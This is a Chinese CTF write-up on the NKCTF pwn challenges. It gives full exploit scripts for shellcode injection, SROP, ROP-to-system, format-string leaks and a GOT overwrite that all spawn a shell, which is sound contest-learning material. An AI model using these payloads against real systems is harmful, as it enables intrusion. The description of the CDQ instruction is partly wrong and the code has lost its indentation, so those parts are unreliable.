NKCTF-PWN题复现

前言

上周刚加入了星盟安全团队,发现自己真的有很多需要学习的,深感自己的渺小,这次NK也是一直跟着师傅们后面学习和搞misc,pwn一会就做完了,师傅们牛逼!

ez_shellcode

这个题没什么意思,NOP滑行就行

1
2
3
4
5
6
def exploit():
li('exploit...')
code = shellcraft.sh() # 同上
code = asm(code) # 同上
code = '\x90'*100+code
sla("u can make it in 5 min!",code)

ez_stack

以前看过一点关于SROP原理的但是没有做过这种类型的题,这也算是我的第一个SROP的题了,就是做题的经验少了,后面有个小问题没有解决,问了师傅才知道的。

  • 想办法输入/bin/sh字符串然后调用syscall sigframe就行
  • 这里通过syscall 调用read函数来控制rax的值,然后调用sig

还有就是这里直接把payload输入过去会把输入当成一段,于是我们需要等待一秒才输入进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
def exploit():
li('exploit...')
bss_addr = 0x4040A9
pop_rdi_ret = 0x0000000000401283
pop_rsi_r15_ret = 0x0000000000401281
syscall_eax0_pop_rbp_ret = 0x4011EE
setbuf_got = 0x404018
read_addr = 0x4011C8
syscall_ret = 0x40114E

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = 0x0404040 #"/bin/sh"
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = syscall_ret

pl = 'a'*0x10+'a'*0x8
pl += p64(read_addr)+p64(0x10000)
pl += p64(syscall_ret)+p64(syscall_ret)+str(sigframe)+p64(0x0401284)
sla("Welcome to the binary world of NKCTF!\n",pl)
p2 = "/bin/sh"+'\x00'*7
sleep(1)
sl(p2)
sleep(1)
sl("aaa")
sleep(1)
sl("a"*0xe)

a_story_of_a_pwner

简单的栈溢出,而且给了环境和libc_addr ,于是直接在bss段写上ROP链然后栈迁移过去就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def exploit():
li('exploit...')
ch(4)
ru("I give it up, you can see this. 0x")
puts_addr = int(ru("\n"),16) #通过方法泄露程序的地址然后解包
libc_addr = puts_addr-libc.symbols["puts"]
li("libc_addr ------------> 0x%x"% libc_addr)
one_gadget = [0xe3afe,0xe3b01,0xf25e2,0xe3b04]
bss_addr = 0x4050A0-0x8
leave_ret = 0x040139E
pop_rdi_ret = 0x0000000000401573


ch(1)
pl = p64(libc_addr+next(libc.search(b'/bin/sh\x00')))
sl(pl)


ch(2)
pl = p64(pop_rdi_ret)
sl(pl)


ch(3)
pl = p64(libc.symbols["system"]+libc_addr)
sl(pl)

#db()
ch(4)
pl = 'a'*0xA + p64(bss_addr)+p64(leave_ret)
sla("now, come and read my heart...\n",pl)

def ch(a):
ru("> \n")
sl(str(a))

baby_rop

很有意思的一个题,但是我做题经验太少了,一位的只知道想办法通过一个输出就能getshell,于是用的办法过于复杂和无用,但也让我学到了很多东西,很多利用方法的学习

  • 存在一个格式化字符串漏洞可以泄露canary(还可以泄露栈地址)
  • 后面的my_read函数存在poison null byte(虽然是堆上的,但这里用到了栈上),便会修改ebp的最后两位为\x00 于是在经过两次leave_ret后便会将栈迁移到我们修改后的栈上。(可以用泄露的栈地址来准确控制我们跳转到的地方然后写(我的办法),也可以用ret来滑行过去(更好,不用花时间去调试)然后写ROP泄露libc地址然后getshell即可

由于我的exp写得过去繁琐和冗余,这里放上其他师傅的exp,原理都是一样的,这里需要注意的一点就是这里是直接返回到start函数,返回到vuln函数也可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pop_rdi_ret = 0x401413
pop_rsi_r15 = 0x401411
ret = 0x40101a
pop_rbp_ret = 0x4011bd
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
puts_addr = elf.sym['puts']
r.sendlineafter('name: ', '%41$p')
r.recvuntil(b'Hello, ')
canary = int(r.recv(18), 16)
li('canary = ' + hex(canary))
p1 = p64(ret) * 25 + p64(pop_rdi_ret) + p64(puts_got) +p64(puts_plt) + p64(pop_rbp_ret) + p64(0) + p64(0x4010f0) +p64(canary)
dbg()
r.sendlineafter('NKCTF: \n', p1)
pause()
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))- libc.sym['puts']
li('libc_base = ' + hex(libc_base))
system_addr = libc.sym['system'] + libc_base
binsh = next(libc.search(b'/bin/sh')) + libc_base
p2 = p64(ret) * 28 + p64(pop_rdi_ret) + p64(binsh) +p64(system_addr) + p64(canary)
pause()
r.sendlineafter('NKCTF: \n', p2)
r.interactive()

本来这个题已经复现完了,但是我在看9961的wp的时候发现有其他队伍的wp,于是去看了看,发现居然有人通过格式化字符串扫环境变量来得到flag,也是有点东西了。。。于是我在这里记录一下这个办法,万一后面我也能用到呢,这也提醒我不要把flag写到环境变量里面,做到flag和运行的文件隔离

1
2
3
4
5
6
7
8
9
for i in range(1,100):
p = remote("ip",port)
p.recvuntil(b"What is your name: ")
p.sendline(b"%" + str(i).encode() + b"$s.")
try:
print(i,p.recvuntil(b'.',drop=True))
p.sendafter('he NKCTF:',b"aaaa")
except EOFError:
pass

only_read

这个题也挺有意思的,和题目一样only_read,就是说只有read函数,而没有输出函数,我们无法做到输出libc的地址,于是得靠其他办法来修改got表,一般是add,或者sub指令,比如在这个题里面就存在一个add rbp-0x3d ebx的gadget

1
0x000000000040117c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret

于是我们可以通过这个gadget来修改read_got为one_gadget就行了,加上题目也给了环境,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def exploit():
li('exploit...')
str1 = "V2VsY29tZSB0byBOS0NURiE="
str2 = "dGVsbCB5b3UgYSBzZWNyZXQ6"
str3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
str4 = "Y2FuIHlvdSBmaW5kIG1lPw=="
s(str1)
sleep(0.1)
s(str2)
sleep(0.1)
s(str3)
sleep(0.1)
sl(str4)
sleep(0.1)
#db()
#pause()
pop_rdi_ret = 0x0000000000401683
read_plt = elf.plt['read']
read_got = elf.got['read']
pop_rbx_r5 = 0x40167A
#one_gadget =[0x4bfe0,0xd500f,0xf25e2,0xf25e2,0xf25ef]
one_gadget = [0xe6c7e,0xe6c81,0xe6c84]
offsset =0xFFFFFFFFFFFFFFFF+(one_gadget[0]+1-0x111130)
li("offset -------> 0x%x"% offsset)
change_read = 0x0040117C
pl = b"a"*0x30+b'a'*0x8+p64(pop_rbx_r5)+p64(offsset)+p64(read_got+0x3D)+p64(0)*4+p64(change_read)+p64(read_plt)
s(pl)

9961

是一道考验我们shellcode编写能力的题,只给了我们22个字节的写入空间,于是我们得想办法简化流程,这里可以想办法用_mprotect来将这段空间权限设置回来,但是非常考验我们对于汇编的理解,星盟的有位师傅就是这么做的,太强了只能说,还有就是另一位师傅的用lea来简化流程,因为我们已经知晓了r15是地址,于是可以直接利用偏移来写入shellcode

下面是利用cdq这个指令来简化,r15是可以拆分的,r15d,r15w,r15b

CDQ指令的操作步骤如下:

  1. 如果EAX的符号位为0,则将EDX清零。
  2. 如果EAX的符号位为1,则将EDX设置为全1。
  3. 将EAX的高32位复制到EDX的低32位。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def exploit():
li('exploit...')
pl = asm( '''
mov rdi,r15
xor eax,eax
cdq
mov al ,10
mov dl ,7
syscall
xor eax,eax
mov esi,edi
mov edi, eax
mov dl,0xff
syscall
''')
sa("In that case, you can only enter a very short shellcode!\n\n",pl)
sleep(0.1)
pl = asm('''
mov rsp, rsi
add rsp, 0x1000
xor rsi, rsi
mul rsi
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
mov al, 59
syscall
''')
sa("I hope you can NMNB it!\n",b'\x90'*0x16+pl)

这个是利用lea

1
2
3
4
5
6
7
8
9
10
11
12
def exploit():
li('exploit...')
db()
pause()
pl = asm( '''
xor edx,edx
xor esi,esi
lea edi,[r15+0xe]
mov ax,59
syscall
''')
sa("In that case, you can only enter a very short shellcode!\n\n",pl+b'/bin/sh')